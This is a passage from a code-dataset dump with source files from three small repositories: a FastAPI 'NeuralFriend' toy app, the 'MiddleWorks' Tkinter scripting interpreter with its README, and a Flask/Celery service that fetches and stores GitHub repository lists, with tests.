"olegggatttor/NeuralFriend", "src_encoding": "UTF-8", "text": "# NeuralFriend\n\n#### This is your ideal friend - neural friend. Talk to him as mush as you can and soon it will become the best companion that you have ever had!\n\n# Usage\n\n```py main.py```\n\n# Testing\n\n### Unit tests\n\n```py -m unittest discover test/unit```\n\n### Integration tests\n\n```py -m unittest discover test/integration```\n" }, { "alpha_fraction": 0.6823104619979858, "alphanum_fraction": 0.6823104619979858, "avg_line_length": 20.30769157409668, "blob_id": "4a005ad9ae183759d62307a977a74382d8e54770", "content_id": "43a112cef484bfa66eb798e572f3279335e5dc39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 277, "license_type": "no_license", "max_line_length": 54, "num_lines": 13, "path": "/endpoints/methods/get_methods.py", "repo_name": "olegggatttor/NeuralFriend", "src_encoding": "UTF-8", "text": "from endpoints.methods.model_instance import predictor\n\n\ndef format_prediction_message(x, y) -> str:\n return 'Predicted y={} for x={}'.format(y, x)\n\n\ndef get_prediction(x) -> str:\n return predictor.predict(x)\n\n\ndef get_root_message():\n return \"Hi! Talk to me please!\"\n" }, { "alpha_fraction": 0.6716269850730896, "alphanum_fraction": 0.7033730149269104, "avg_line_length": 39.31999969482422, "blob_id": "cdb816514124185675ff9fb7b96f86d16e4cab56", "content_id": "761448a6da206e6ccbd2ca1d69199864d2ee4078", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1008, "license_type": "no_license", "max_line_length": 115, "num_lines": 25, "path": "/test/unit/methods/test_post_methods_tests.py", "repo_name": "olegggatttor/NeuralFriend", "src_encoding": "UTF-8", "text": "import unittest\n\nfrom endpoints.methods.model_instance import predictor\nfrom endpoints.methods.post_methods import update_model, format_update_message\n\n\nclass PostMethodsTestCase(unittest.TestCase):\n def setUp(self):\n predictor.reset()\n\n def test_format_update_message_eq(self):\n result = format_update_message(123, 2, \"message\")\n self.assertEqual(result, \"Thanks, 123! You set new inc value for model: 2. Your reversed message: egassem\")\n\n def test_format_update_message_determinism(self):\n result1 = format_update_message(123, 2, \"message\")\n result2 = format_update_message(123, 2, \"message\")\n self.assertEqual(result1, result2)\n\n def test_update_model(self):\n result = update_model(123, 2, \"message\")\n self.assertEqual(result, \"Thanks, 123! You set new inc value for model: 2. Your reversed message: egassem\")\n\n def test_update_model_exception_if_zero_inc(self):\n self.assertRaises(ValueError, update_model, 123, 0, \"message\")\n" }, { "alpha_fraction": 0.8142856955528259, "alphanum_fraction": 0.8142856955528259, "avg_line_length": 22.33333396911621, "blob_id": "ee0267b75ac63b91d4f93771696f5ab97a0ae9cc", "content_id": "e4fdd24aa531ddd51ea0c73f8144abfb244aa052", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 70, "license_type": "no_license", "max_line_length": 42, "num_lines": 3, "path": "/endpoints/methods/model_instance.py", "repo_name": "olegggatttor/NeuralFriend", "src_encoding": "UTF-8", "text": "from model.simple_model import SimpleModel\n\npredictor = SimpleModel()\n" }, { "alpha_fraction": 0.7333333492279053, "alphanum_fraction": 0.7333333492279053, "avg_line_length": 20.66666603088379, "blob_id": "832d7cbf8fff2f6d78881b06b2512455409d5a29", "content_id": "8882e895fc7004f87d7e916b0d93c6ec74e35cd1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 195, "license_type": "no_license", "max_line_length": 58, "num_lines": 9, "path": "/endpoints/routers/root.py", "repo_name": "olegggatttor/NeuralFriend", "src_encoding": "UTF-8", "text": "from fastapi import APIRouter\nfrom endpoints.methods.get_methods import get_root_message\n\nrouter = APIRouter()\n\n\[email protected](\"/root\")\nasync def root():\n return {\"message\": get_root_message()}\n" }, { "alpha_fraction": 0.7142857313156128, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 18.18181800842285, "blob_id": "36e34b79b8a385890df9900721eccafe782d4b3d", "content_id": "acf4c3e8ca574c69d678537e3859c6567a84f164", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 210, "license_type": "no_license", "max_line_length": 36, "num_lines": 11, "path": "/main.py", "repo_name": "olegggatttor/NeuralFriend", "src_encoding": "UTF-8", "text": "import uvicorn\nfrom fastapi import FastAPI\n\nfrom main_router import main_router\n\napp = FastAPI(title=\"Neural Friend\")\n\napp.include_router(main_router)\n\nif __name__ == '__main__':\n uvicorn.run(app='main:app')" } ]
17
ChilliNerd/MiddleWorks
https://github.com/ChilliNerd/MiddleWorks
a33f5ffba64be3a076d65d8ad9ccdfa3156c21fb
a5aaa3a2b57830348a56d5c8a868a7c14994acf8
4a3241dfc381be58733f3dbf7abb13a5c400aa50
refs/heads/master
2020-12-24T12:00:49.539789
2016-11-11T20:35:36
2016-11-11T20:35:37
73,101,083
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5345181226730347, "alphanum_fraction": 0.551606297492981, "avg_line_length": 25.14285659790039, "blob_id": "0785daf2779329cfd9fb6074aa35e35c13bfd228", "content_id": "7cb3583a93596777fc054eb69cd015808f07af56", "detected_licenses": [ "MIT", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1463, "license_type": "permissive", "max_line_length": 130, "num_lines": 56, "path": "/Shell.py", "repo_name": "ChilliNerd/MiddleWorks", "src_encoding": "UTF-8", "text": "#\n# MiddleWorks Shell\n# Version 1.0\n#\n# Licensed under the MIT license\n#\n# Created by matthewgallant on 11/3/16\n#\n# (c) 2016 Matthew Gallant\n#\n\nimport sys\nfrom Tkinter import Tk, Label, Button\n\nprint(\"\\nMiddleWorks Shell\\nAn interactive shell for MiddleWorks\\nVersion 1.0\\nLicensed under the MIT license\\n(c) 2016 Matthew Gallant\\n\")\n\nloop_num = 0\n\nwhile(loop_num == 0):\n x1 = raw_input(\"> \")\n\n title = \"Untitled MiddleWorks Application\"\n\n if x1.startswith(\"title\"):\n print(\"\\nSet Window Title:\")\n title_var = raw_input(\"> \")\n print(\"\\nWindow Title Set To: \" + title_var + \"\\n\")\n\n if x1.startswith(\"size\"):\n print(\"\\nX Value:\")\n size_var_x = raw_input(\"> \")\n print(\"Y Value\")\n size_var_y = raw_input(\"> \")\n print(\"\\nWindow Size Set To: \" + size_var_x + \"x\" + size_var_y + \"\\n\")\n\n if x1.startswith(\"loc\"):\n print(\"\\nX Value:\")\n loc_var_x = raw_input(\"> \")\n print(\"Y Value\")\n loc_var_y = raw_input(\"> \")\n print(\"\\nWindow Location Set To: \" + loc_var_x + \"+\" + loc_var_y + \"\\n\")\n\n class WindowWorks:\n def __init__(self, master):\n self.master = master\n master.title(title_var)\n\n if x1.startswith(\"windowinit\"):\n root = Tk()\n root.geometry(size_var_x + \"x\" + size_var_y + \"+\" + loc_var_x + \"+\" + loc_var_y)\n my_gui = WindowWorks(root)\n root.mainloop()\n print(\"\\n\")\n\n if x1.startswith(\"exit\"):\n exit()" }, { "alpha_fraction": 0.7163009643554688, "alphanum_fraction": 0.7335423231124878, "avg_line_length": 23.576923370361328, "blob_id": "98cc4fc8c7012ca1700e740d0260d4db1c5a9f2e", "content_id": "706db0eb0c7717fb5f493929c97d151d936dd856", "detected_licenses": [ "MIT", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 638, "license_type": "permissive", "max_line_length": 145, "num_lines": 26, "path": "/C FIles/Interpreter.c", "repo_name": "ChilliNerd/MiddleWorks", "src_encoding": "UTF-8", "text": "/*\n\nMiddleWorks\nVersion 1.0\n\nLicensed under the MIT license\n\nCreated by matthewgallant on 11/3/16\n\n(c) 2016 Matthew Gallant\n\n*/\n\n#include <unistd.h>\n#include <stdio.h>\n\nint main(int argc, char **argv) {\n\n char *pythonIntrepreter=\"python\"; // resolved using your PATH environment variable\n char *calledPython=\"/Users/Example/MiddleWorks/Interpreter.py\"; // explicit path necessary, not resolved using your PATH environment variable\n char *pythonArgs[]={pythonIntrepreter,calledPython,\"/Users/Example/MiddleWorks/Demo.mw\", NULL};\n execvp(pythonIntrepreter,pythonArgs);\n\n // if we get here it misfired\n perror(\"Python execution\");\n}" }, { "alpha_fraction": 0.631324827671051, "alphanum_fraction": 0.6496716737747192, "avg_line_length": 25.558975219726562, "blob_id": "bba59397c5e237ea0a73e2ad49bb35a1d0efeaed", "content_id": "7d6e4df1df334b53fb058aba900e8d514de29a91", "detected_licenses": [ "MIT", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5178, "license_type": "permissive", "max_line_length": 103, "num_lines": 195, "path": "/Interpreter.py", "repo_name": "ChilliNerd/MiddleWorks", "src_encoding": "UTF-8", "text": "#\n# MiddleWorks Scripting Interpreter\n# Version 1.0\n#\n# Licensed under the MIT license\n#\n# Created by matthewgallant on 11/3/16\n#\n# (c) 2016 Matthew Gallant\n#\n\n# Imports\nfrom Tkinter import *\nimport tkMessageBox\nfrom sys import argv\nfrom sys import platform\n\n# Initialize Tkinter\nroot = Tk()\n\n# Handle File Arguments\nscript, filename = argv\ntxt = open(filename)\n\n# Read Text File\nprint \"Running: %r:\" % filename\ntext = txt.read()\n\n# Variables\nwindowtitle_var = \"MiddleWorks Project\"\nwindowsize_var = \"800x600\"\nwindowloc_var = \"+150+150\"\nlabel_var = \"Default Label Text\"\nbutton_var = \"Default Button\"\ndialogname_var = \"Dialog\"\ndialog_var = \"Default Dialog Text\"\nabouttitle_var = \"About \" + windowtitle_var\nabouttext_var = \"Powered by MiddleWorks\"\ntheme_var = \"white\"\ntexttheme_var = \"black\"\n\n# Function Definitions\ndef about():\n tkMessageBox.showinfo(\n abouttitle_var,\n abouttext_var\n )\n\ndef labelsmall_def():\n label0 = Label(root, text=labelsmall_var, font=(\"Helvetica\", 10), bg=theme_var, fg=texttheme_var)\n label0.pack()\n\ndef labelregular_def():\n label1 = Label(root, text=labelregular_var, font=(\"Helvetica\", 12), bg=theme_var, fg=texttheme_var)\n label1.pack()\n\ndef labelmedium_def():\n label2 = Label(root, text=labelmedium_var, font=(\"Helvetica\", 18), bg=theme_var, fg=texttheme_var)\n label2.pack()\n\ndef labellarge_def():\n label3 = Label(root, text=labellarge_var, font=(\"Helvetica\", 36), bg=theme_var, fg=texttheme_var)\n label3.pack()\n\ndef labelxl_def():\n label4 = Label(root, text=labelxl_var, font=(\"Helvetica\", 72), bg=theme_var, fg=texttheme_var)\n label4.pack()\n\ndef field_def():\n entry1 = Entry(root, highlightbackground=theme_var)\n entry1.insert(0, field_var)\n entry1.pack()\n\ndef dialoginfo_def():\n tkMessageBox.showinfo(\n dialogname_var,\n dialog_var\n )\n\ndef dialogerror_def():\n tkMessageBox.showerror(\n dialogname_var,\n dialog_var\n )\n\ndef dialogwarning_def():\n tkMessageBox.showwarning(\n dialogname_var,\n dialog_var\n )\n\ndef buttondialoginfo_def():\n button0 = Button(root, text=button_var, command=dialoginfo_def, highlightbackground=theme_var)\n button0.pack()\n\ndef buttondialogerror_def():\n button1 = Button(root, text=button_var, command=dialogerror_def, highlightbackground=theme_var)\n button1.pack()\n\ndef buttondialogwarning_def():\n button3 = Button(root, text=button_var, command=dialogwarning_def, highlightbackground=theme_var)\n button3.pack()\n\ndef osxtitle_def():\n if platform == 'darwin':\n from Foundation import NSBundle\n bundle = NSBundle.mainBundle()\n if bundle:\n info = bundle.localizedInfoDictionary() or bundle.infoDictionary()\n if info and info['CFBundleName'] == 'Python':\n info['CFBundleName'] = osxtitle_var\n\ndef image_def():\n photo = PhotoImage(file=image_var)\n label5 = Label(image=photo)\n label5.pack()\n\n# Search Code For Commands\nfor line in text.splitlines():\n if \"WINDOWTITLE\" in line:\n windowtitle_var = line[12:]\n if \"WINDOWSIZE\" in line:\n windowsize_var = line[11:]\n if \"WINDOWLOC\" in line:\n windowloc_var = \"+\" + line[10:]\n if \"LABELSMALL\" in line:\n labelsmall_var = line[11:]\n labelsmall_def()\n if \"LABELREGULAR\" in line:\n labelregular_var = line[13:]\n labelregular_def()\n if \"LABELMEDIUM\" in line:\n labelmedium_var = line[12:]\n labelmedium_def()\n if \"LABELLARGE\" in line:\n labellarge_var = line[11:]\n labellarge_def()\n if \"LABELXL\" in line:\n labelxl_var = line[8:]\n labelxl_def()\n if \"FIELD\" in line:\n field_var = line[6:]\n field_def()\n if \"DIALOGTITLE\" in line:\n dialogname_var = line[12:]\n if \"DIALOGTEXT\" in line:\n dialog_var = line[11:]\n if \"BUTTONDIALOGINFO\" in line:\n button_var = line[17:]\n buttondialoginfo_def()\n if \"BUTTONDIALOGERROR\" in line:\n button_var = line[18:]\n buttondialogerror_def()\n if \"BUTTONDIALOGWARNING\" in line:\n button_var = line[20:]\n buttondialogwarning_def()\n if \"OSXTITLE\" in line:\n osxtitle_var = line[9:]\n osxtitle_def()\n if \"ABOUTTITLE\" in line:\n abouttitle_var = line[11:]\n if \"ABOUTTEXT\" in line:\n abouttext_var = line[10:]\n if \"WINDOWCOLOR\" in line:\n theme_var = line[12:]\n if \"DARKTHEME\" in line:\n theme_var = \"grey12\"\n texttheme_var = \"white\"\n if \"DISABLEWINDOWRESIZE\" in line:\n root.resizable(0,0)\n if \"IMAGE\" in line:\n image_var = line[6:]\n image_def()\n \n\n# MenuBar\nmenubar = Menu(root)\n\nfilemenu = Menu(menubar, tearoff=0)\nfilemenu.add_command(label=\"Exit\", command=root.quit)\nmenubar.add_cascade(label=\"File\", menu=filemenu)\n\nhelpmenu = Menu(menubar, tearoff=0)\nhelpmenu.add_command(label=\"About\", command=about)\nmenubar.add_cascade(label=\"Help\", menu=helpmenu)\n \n# Set Tkinter Properties\nroot.geometry(windowsize_var + windowloc_var)\nroot.title(windowtitle_var)\nroot.config(menu=menubar, background=theme_var)\n\n# Initialize Window\nif \"START\" in text:\n root.mainloop()\n print(\"\\n\")" }, { "alpha_fraction": 0.7309703826904297, "alphanum_fraction": 0.7364904284477234, "avg_line_length": 22.575342178344727, "blob_id": "1446703b59adfcfbbd5a3c6a650ca79b875176f7", "content_id": "20b6ffe8fc8573a1a89480f25eb21afe316ab1f6", "detected_licenses": [ "MIT", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3442, "license_type": "permissive", "max_line_length": 209, "num_lines": 146, "path": "/README.md", "repo_name": "ChilliNerd/MiddleWorks", "src_encoding": "UTF-8", "text": "![alt text](https://github.com/ChilliNerd/MiddleWorks/blob/master/Img/icon128.png \"MiddleWorks Logo\")\n\n# MiddleWorks\nMiddleWorks is an interpreter between MiddleWorks Scripting and Python Tkinter. MiddleWorks is written in pure Python.\n\n---\n\n### About MiddleWorks\nMiddleWorks was created to make creating Tkinter applications easier. Overall, as long as you are not doing anything too specific, it should work.\nMiddleWorks does not interpret every Tkinter command. There are currently 22 commands available. There is documentation below for the commands.\n\n---\n\n### License\nMiddleWorks is available under the MIT License, see [LICENSE](https://github.com/ChilliNerd/MiddleWorks/blob/master/LICENSE).\n\n---\n### Terminology and Information\n**MiddleWorks** - The interpreter between MiddleWorks Scripting and Python Tkinter.\n\n**MiddleWorks Scripting** - The language which MiddleWorks interprets.\n\n**MiddleWorks Shell** - The shell that allows you to build a featureless window. I never finished developing it as it is pretty much useless. If someone builds a useful version I wouldn't mind checking it out.\n\n**C Files** - Simple C bindings for the python script. Not necessary, but nice for quick prototyping.\n\n---\n\n### Commands\n**WINDOWTITLE** - Sets window title.\n```\nWINDOWTITLE MiddleWorks Demo\n```\n\n**WINDOWSIZE** - Sets window size.\n```\nWINDOWSIZE 800x500\n```\n\n**WINDOWLOC** - Sets window location.\n```\nWINDOWLOC 150+150\n```\n\n**WINDOWCOLOR** - Sets the color of the window canvas.\n```\nWINDOWCOLOR white\n```\n\n**DISBALEWINDOWRESIZE** - Disables the ability for the user to resize the window.\n```\nDISABLEWINDOWRESIZE\n```\n\n**DARKTHEME** - Enables a dark theme for all elements in the application.\n```\nDARKTHEME\n```\n\n**OSXTITLE** - If on OSX, changes the application title in the menubar from Python to your custon title.\n```\nOSXTITLE MiddleWorks Demo\n```\n\n**ABOUTTITLE** - Sets title of about window. Access the about window in Help > About.\n```\nABOUTTITLE About MiddleWorks\n```\n\n**ABOUTTEXT** - Sets text for about window.\n```\nABOUTTEXT MiddleWorks v1.0: A simple interpreter between MiddleWorks Scripting and Python Tkinter.\n```\n\n**LABELXL** - Extra large label.\n```\nLABELXL XL Label\n```\n\n**LABELLARGE** - Large label.\n```\nLABELLARGE Large Label\n```\n\n**LABELMEDIUM** - Medium label.\n```\nLABELMEDIUM Medium Label\n```\n\n**LABELREGULAR** - Regular label.\n```\nLABELREGULAR Regular Label\n```\n\n**LABELSMALL** - Small label.\n```\nLABELSMALL Small Label\n```\n\n**IMAGE** - Displays an image that is either a Tkinter compatible GIF or PGM.\n```\nIMAGE /Users/Example/Desktop/MiddleWorksProject/image.gif\n```\nor\n```\nIMAGE /Users/Example/Desktop/MiddleWorksProject/image.pgm\n```\n\n**FIELD** - Displays a text field and default text if available.\n```\nFIELD\n```\nor\n```\nFIELD Default Text\n```\n\n**DIALOGTITLE** - Title of a dialog window.\n```\nDIALOGTITLE Dialog\n```\n\n**DIALOGTEXT** - Text in a dialog window.\n```\nDIALOGTEXT This is a dialog!\n```\n\n**BUTTONDIALOGINFO** - Makes a button that displays an info dialog based on your DIALOGTITLE and your DIALOGTEXT.\n```\nBUTTONDIALOGINFO Info Button\n```\n\n**BUTTONDIALOGERROR** - Makes a button that displays an error dialog based on your DIALOGTITLE and your DIALOGTEXT.\n```\nBUTTONDIALOGERROR Error Button\n```\n\n**BUTTONDIALOGWARNING** - Makes a button that displays a warning dialog based on your DIALOGTITLE and your DIALOGTEXT.\n```\nBUTTONDIALOGWARNING Warning Button\n```\n\n**START** - Starts the program.\n```\nSTART\n```\n" } ]
4
MikiZdanovich/Api_v2
https://github.com/MikiZdanovich/Api_v2
9eac0016ab2cddfbdbda78e0aa7f52e655bd7647
edfdef5e0a844122b6ea6aeab9c263ffc52bd301
c467dc3e35c1a313c774ed32f3d4bae3d9b6d997
refs/heads/master
2023-02-20T07:35:36.262292
2020-09-18T18:34:25
2020-09-18T18:34:25
227,370,887
0
0
null
2019-12-11T13:21:45
2020-09-18T19:00:00
2023-02-15T23:42:25
Python
[ { "alpha_fraction": 0.6968325972557068, "alphanum_fraction": 0.6968325972557068, "avg_line_length": 21.100000381469727, "blob_id": "5f0fe5b2b9a13d9bc7e9fb323c08d55c448ec18a", "content_id": "605a66f54133b39cdf43a0511147ebb5b026fa17", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 221, "license_type": "no_license", "max_line_length": 55, "num_lines": 10, "path": "/backend/wsgi.py", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "import os\n\nfrom backend.app.main.views import user_bp\nfrom backend.apps import create_app\n\napp = create_app(os.getenv('BOILERPLATE_ENV') or 'dev')\napp.register_blueprint(user_bp)\n\nif __name__ == \"__main__\":\n app.run()\n" }, { "alpha_fraction": 0.5320823192596436, "alphanum_fraction": 0.5357142686843872, "avg_line_length": 30.169811248779297, "blob_id": "d80773fbea2ce0678016a1bfe509e95cc3418abc", "content_id": "ac18f2b44e7f3f9c1d12aa0ee4368a35ad0b5dc9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1652, "license_type": "no_license", "max_line_length": 92, "num_lines": 53, "path": "/backend/app/main/controller/user_controller.py", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "from flask import request, url_for\nfrom flask_restplus import Resource\n\nfrom backend.app.main.service.user_service import get_user_repositories, get_all_saved_users\nfrom backend.app.main.util.dto import UserDto\n\napi = UserDto.api\n_user = UserDto.user\n\n\[email protected]('/')\nclass UserList(Resource):\n @api.doc('list_of_saved_users')\n def get(self):\n \"\"\"List all saved users\"\"\"\n return get_all_saved_users()\n\n @api.response(202, 'Git repositories of current user.')\n @api.doc('Get User git Repos')\n @api.expect(_user, validate=True)\n def post(self):\n \"\"\"Get User git Repos\"\"\"\n data = request.json\n task = get_user_repositories.delay(data=data)\n return {\"task_id\": task.id}, {'Location': url_for('.task_status',\n task_id=task.id)}\n\n\[email protected](\"/<task_id>\", endpoint=\"task_status\")\[email protected](200, \"Celery Task result\")\nclass Task(Resource):\n def get(self, task_id):\n \"\"\"Async Task\"\"\"\n task = get_user_repositories.AsyncResult(task_id)\n if task.state == 'PENDING':\n response = {\n 'state': task.state,\n 'status': 'Pending...'\n }\n elif task.state != 'FAILURE':\n response = {\n 'state': task.state,\n 'status': \"Done\",\n 'repos': task.get()\n }\n if 'result' in task.info:\n response['result'] = task.info['result']\n else:\n response = {\n 'state': task.state,\n 'status': str(task.info)\n }\n return response\n" }, { "alpha_fraction": 0.6769025325775146, "alphanum_fraction": 0.6769025325775146, "avg_line_length": 30.87234115600586, "blob_id": "8708feaaba65e22f01d6373ac6e30ad6fe2e42ef", "content_id": "df0587cee0dfd3fef2e5eb907b5263f7f6ce5210", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2996, "license_type": "no_license", "max_line_length": 94, "num_lines": 94, "path": "/test/test_user_service.py", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "import pytest\nfrom sqlalchemy_utils import create_database, drop_database, database_exists\n\nfrom backend.app.main.model.users import user\nfrom backend.app.main.service.user_service import new_user, update_user, existing_user\n\n\"\"\"\ntest_<what>__<when>__<expect>\n\n\"\"\"\n\n\[email protected](scope=\"session\", autouse=True)\ndef db():\n import os\n from backend.app.main.model.users import metadata\n from backend.database import configure_engine\n\n url = os.getenv('TEST_BASE')\n\n engine = configure_engine(url)\n if not database_exists(url):\n create_database(url)\n metadata.bind = engine\n metadata.create_all(engine)\n\n try:\n yield\n finally:\n drop_database(url)\n\n\[email protected](scope=\"function\", autouse=True)\ndef transaction(db):\n from backend.database import session_factory, Session, engine\n\n connection = engine.connect()\n\n session_factory.configure(bind=connection)\n transaction = connection.begin_nested()\n\n try:\n yield transaction\n finally:\n transaction.rollback()\n connection.close()\n Session.remove()\n\n\ndef db_entry():\n from backend.database import Session\n session = Session()\n entry = session.execute(user.select()).fetchone()\n return entry\n\n\ndef test_new_user_created_successfully():\n test_data = {'username': \"test_user\"}\n test_repos = [\"test_repositories\"]\n test_new_user_respons = new_user(test_data, test_repos)\n test_response = {'username': 'test_user', 'repositories': ['test_repositories']}\n entry = db_entry()\n assert test_new_user_respons['repositories'] == test_response['repositories']\n assert entry['username'] == test_data['username']\n assert entry['repositories'].strip(\"{}\") == \",\".join(test_repos)\n\n\ndef test_update_user_updated_successfully():\n test_data = {'username': \"test_user\", \"repositories\": [\"wrong_repos\"]}\n test_repos = []\n assert_data = {'username': 'test_user', 'repositories': ['test_repo']}\n seed_new_user = new_user(test_data, test_repos)\n first_entry = db_entry()\n test_update_user = update_user(data={'username': \"test_user\"}, repositories=[\"test_repo\"])\n updated_entry = db_entry()\n assert first_entry['username'] == updated_entry['username']\n assert first_entry['repositories'] != updated_entry['repositories']\n assert test_update_user == assert_data\n assert seed_new_user != test_update_user\n\n\ndef test_existing_user_when_user_exist():\n test_data = {'username': \"test_user\", \"repositories\": []}\n seed_new_user = new_user({\"username\": 'test_user'}, repositories=[])\n check_existing_user = existing_user(test_data)\n assert check_existing_user['username'] == \"test_user\"\n assert check_existing_user['repositories'] == \"{}\"\n assert seed_new_user['username'] == check_existing_user['username']\n\n\ndef test_existing_user_when_user_doesnt_exist():\n test_username = {'username': \"unique\"}\n check_existing_user = existing_user(test_username)\n assert check_existing_user is None\n" }, { "alpha_fraction": 0.6945722103118896, "alphanum_fraction": 0.6954922080039978, "avg_line_length": 38.52727127075195, "blob_id": "1ae2aab3a4d6fb28496c5d7dad3d47441acda4ab", "content_id": "b48a06fb23df47b864552c55275478703785c77b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2174, "license_type": "no_license", "max_line_length": 111, "num_lines": 55, "path": "/backend/app/main/service/user_service.py", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "from typing import Dict, List, Union\n\nfrom sqlalchemy.engine import RowProxy, ResultProxy\n\nfrom backend.app.main.model.users import user\nfrom backend.app.main.service.get_repositories_service import get_repos\nfrom backend.app.main.util.exceptions import GitHubServerUnavailable\nfrom backend.database import Session\nfrom backend.make_celery import celery\n\n\ndef new_user(data: Dict[str, str], repositories: List) -> Dict[str, str]:\n session = Session()\n session.execute(user.insert().values(username=data['username'], repositories=repositories))\n session.commit()\n response = {'username': data['username'], \"repositories\": repositories}\n return response\n\n\ndef update_user(data: Dict[str, str], repositories: List) -> Dict[str, str]:\n session: Session = Session()\n session.execute(user.update().where(user.c.username == data['username']).values(repositories=repositories))\n session.commit()\n response = {\"username\": data['username'], \"repositories\": repositories}\n return response\n\n\ndef existing_user(data: Dict[str, str]) -> RowProxy:\n session = Session()\n result: ResultProxy = session.execute(user.select(user.c.username == data['username']))\n return result.fetchone()\n\n\[email protected](autoretry_for=(GitHubServerUnavailable,), retry_kwargs={'max_retries': 5, 'countdown': 5})\ndef get_user_repositories(data: Dict[str, str]) -> Dict[str, Union[str, List]]:\n repositories: List = get_repos(data['username'])\n git_user: RowProxy = existing_user(data)\n if existing_user(data):\n if \",\".join(repositories) != git_user['repositories'].strip(\"{}\"):\n git_user: Dict[str, str] = update_user(data, repositories)\n else:\n git_user: Dict[str, str] = new_user(data, repositories)\n\n response_object: Dict[str, str] = {\n 'user name': git_user['username'],\n 'repositories': git_user['repositories']\n }\n return response_object\n\n\ndef get_all_saved_users() -> List[Dict[str, str]]:\n session = Session()\n result: ResultProxy = session.execute(user.select()).fetchall()\n response = [{'username:': row['username'], 'repositories': row['repositories']} for row in result]\n return response\n" }, { "alpha_fraction": 0.7166666388511658, "alphanum_fraction": 0.7400000095367432, "avg_line_length": 16.705883026123047, "blob_id": "d99ba54ebc5534779331d9d750d8acb37b14f0c1", "content_id": "4a67252f67cb3ed17f69feec865e02c444c71451", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 300, "license_type": "no_license", "max_line_length": 50, "num_lines": 17, "path": "/README.md", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "# Api_v2\nRestfull APi with flask 2.0\n\n# How to run project\n\n\n## Up and build required services\ndocker-compose -f docker-compose.yml up -d --build\n\n## Run migrations \ndocker-compose exec app alembic upgrade head\n\n## Run service\nOpen http://localhost:5000/\n\n## Run test's\nDocker-compose exec app pytest" }, { "alpha_fraction": 0.6188870072364807, "alphanum_fraction": 0.6408094167709351, "avg_line_length": 20.178571701049805, "blob_id": "89e3acb4af2e3ee43e30f7afea42985b8b748aab", "content_id": "b76e58aa088f1322cd725c074546b2c64056eb2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 593, "license_type": "no_license", "max_line_length": 61, "num_lines": 28, "path": "/backend/app/main/util/exceptions.py", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "from werkzeug.exceptions import HTTPException\n\n\nclass GitUserNotFound(HTTPException):\n \"\"\"*404* CUSTOM `Not Found`\n\n Raise if a git user does not exist.\n \"\"\"\n\n code = 404\n description = (\n \"Failed to found corresponding Git user. \"\n \"Please check Git user name and try again\"\n )\n\n\nclass GitHubServerUnavailable(HTTPException):\n \"\"\"*5xx* Connection issue`\n\n Raise in case any exception with GitHub except 404 occur\n \"\"\"\n\n code = 500\n description = (\n \"Failed to get repositories \"\n \"Connection failed after max retries.\"\n\n )\n" }, { "alpha_fraction": 0.6619452238082886, "alphanum_fraction": 0.6676109433174133, "avg_line_length": 29.257143020629883, "blob_id": "aa004c01170f431f9b4b0ceadcb2e5349a203202", "content_id": "5289638f81bef3571effea990dbacd65bba9172b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1059, "license_type": "no_license", "max_line_length": 99, "num_lines": 35, "path": "/backend/app/main/service/get_repositories_service.py", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "from typing import Union, Dict, List\n\nimport requests\nfrom requests.models import Response\n\nfrom backend.app.main.util.exceptions import GitUserNotFound, GitHubServerUnavailable\n\n\ndef get_data_from_git_api(nickname: str) -> Dict[str, Union[int, List]]:\n url: str = \"https://api.github.com/users/{}/repos\".format(nickname)\n response: Response = requests.get(url)\n result: Dict[str, Union[int, List]] = {\"status\": response.status_code, \"data\": response.json()}\n return result\n\n\ndef parse_response(result: Dict[str, Union[int, List]]) -> [List, str]:\n if result[\"status\"] == 200:\n list_repos: List = [item[\"name\"] for item in result[\"data\"]]\n return list_repos\n elif result['status'] == 404:\n raise GitUserNotFound\n else:\n raise GitHubServerUnavailable\n\n\ndef get_repos(nickname: str) -> [List, str]:\n response = get_data_from_git_api(nickname)\n result: List = parse_response(response)\n return result\n\n\nif __name__ == \"__main__\":\n result = get_repos(\"string\")\n print(type(result))\n print(result)\n" }, { "alpha_fraction": 0.7804877758026123, "alphanum_fraction": 0.7804877758026123, "avg_line_length": 40, "blob_id": "59f47ce849cc0fed0b7ea95f0be0976676e0ba63", "content_id": "00622640baee9ba59576e9bf8f8871dbe285d3ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 41, "license_type": "no_license", "max_line_length": 40, "num_lines": 1, "path": "/backend/app/main/views/__init__.py", "repo_name": "MikiZdanovich/Api_v2", "src_encoding": "UTF-8", "text": "from .api_bp import blueprint as user_bp\n" }, { "alpha_fraction": 0.8242678046226501, "alphanum_fraction": 0.8451882600784302, "avg_line_length": 16.14285659790039, "blob_id": 